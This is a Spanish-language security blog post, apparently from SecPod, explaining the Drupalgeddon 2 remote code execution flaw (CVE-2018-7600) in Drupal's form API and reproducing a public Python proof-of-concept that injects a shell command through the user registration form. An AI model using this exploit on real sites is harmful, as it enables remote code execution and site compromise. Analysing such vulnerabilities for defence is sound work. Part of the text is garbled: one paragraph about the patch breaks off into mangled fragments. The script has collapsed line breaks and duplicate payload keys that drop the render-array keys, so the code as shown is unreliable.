Drupalgeddon 2 RCE – Blog de SecPod

Más de un millón de sitios web activos utilizan Drupal, lo que lo convierte en el segundo sistema de gestión de contenido más utilizado en todo el mundo después de WordPress. El 28 de marzo de 2018, Drupal lanzó parches de seguridad para las versiones 6 a 8 que sugerían actualizar de inmediato y marcaban la vulnerabilidad subyacente (CVE-2018-7600) como crítica con la ejecución remota de código. El escaneo y los ataques a los sitios web que usan Drupal aumentaron exponencialmente como se esperaba, pero no hubo informes de que la vulnerabilidad se explotara en la naturaleza. Luego, hace unos días, un investigador de seguridad ruso publicó un código de exploit de prueba de concepto (POC) en GitHub e Internet se volvió loco.

La explotación se acumuló y los atacantes comenzaron a usarla para instalar mineros de criptomonedas y puertas traseras de malware. Se cree que una de las campañas de Monero miner que entregó XMRig mientras explotaba la vulnerabilidad (CVE-2017-10271) en los servidores Oracle WebLogic está involucrada.

Según las estadísticas, el 90% de los ataques de Drupalgeddon 2 no son más que exploraciones para encontrar sistemas vulnerables, el 3% son intentos de infección por puertas traseras y el 2% intentan ejecutar criptomineros.

Drupal en su aviso advirtió que «los sitios no parcheados para el miércoles, 11-04-2018 pueden estar comprometidos» y » simplemente actualizar Drupal no eliminará las puertas traseras ni arreglará los sitios comprometidos. Si encuentra que su sitio ya está parcheado, pero no lo hizo, puede ser un síntoma de que el sitio se vio comprometido. Algunos ataques en el pasado han aplicado el parche como una forma de garantizar que solo ese atacante tenga el control del sitio.»

Jerga técnica

Drupal introdujo su API de formularios en Drupal 6 que permitía la alteración de los datos del formulario durante el proceso de renderizado del formulario. Esto revolucionó la forma en que funcionaba el procesamiento de marcado. En Drupal 7, la API de formularios se generalizó a lo que ahora se conoce como «Matrices renderizables». Esta API extendida se utiliza para representar la estructura de la mayoría de los elementos de la interfaz de usuario en Drupal, como páginas, bloques, nodos y más. Los arrays renderizables contienen metadatos que se utilizan en el proceso de renderizado. Estos arrays renderizables son una estructura clave-valor en la que las claves de propiedad comienzan con un signo hash (#). Un ejemplo:

Drupal lanzó un parche que agrega un solo limpiador de solicitudes de clase con un método stripDangerousValues que desactiva todos los elementos de una matriz de entrada para claves que comienzan con un signo hash. Este método desinfecta los datos de entrada en $_GET, <_post durante las primeras etapas del bootstrap de drupal despu cargar configuraciones sitio se puede suponer que la raz por lanz el parche es para hacer una vulnerabilidad existente sea m dif encontrar.>

La vulnerabilidad se encontró en los formularios. El formulario de registro de usuario, que no requiere autenticación y se puede acceder de forma anónima, contiene múltiples campos de entrada y se puede explotar.

Fuente de la imagen: Checkpoint, Dofinity

Era muy probable que inyectar una matriz renderizable explotara la vulnerabilidad, la pregunta era ¿dónde?

Resulta que el campo «Dirección de correo electrónico» no desinfecta el tipo de entrada que recibe, lo que nos permitió inyectar la matriz renderizable a la estructura de matriz de formularios.

Fuente de la imagen: Checkpoint, Dofinity

Ahora, todo lo que necesitábamos era que Drupal renderizara nuestra matriz inyectada. Dado que Drupal trata a nuestra matriz inyectada como un valor y no como un elemento, necesitábamos engañar a Drupal para que la renderizara. Drupal renderiza una matriz en un evento de carga de página o a través de la API AJAX de Drupal.

El campo «Imagen» del formulario de registro de usuario utiliza la API AJAX de Drupal para cargar una imagen y reemplazarla con una miniatura de la imagen cargada.

Prueba de concepto (POC)

#!/usr/bin/env python3import sysimport requestsprint ('################################################################')print ('# Proof-Of-Concept for CVE-2018-7600')print ('# by Vitalii Rudnykh')print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders')print ('# https://github.com/a2u/CVE-2018-7600')print ('################################################################')print ('Provided only for educational or information purposes\n')target = input('Enter target url (example: https://domain.ltd/): ')# Add proxy support (eg. BURP to analyze HTTP(s) traffic)# set verify = False if your proxy certificate is self signed# remember to set proxies both for http and https# # example:# proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}# verify = Falseproxies = {}verify = Trueurl = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail': 'exec', 'mail': 'markup', 'mail': 'echo ";-)" | tee hello.txt'}r = requests.post(url, proxies=proxies, data=payload, verify=verify)check = requests.get(target + 'hello.txt', verify=verify)if check.status_code != 200: sys.exit("Not exploitable")print ('\nCheck: '+target+'hello.txt')

Deja una respuesta

Tu dirección de correo electrónico no será publicada.

Related Posts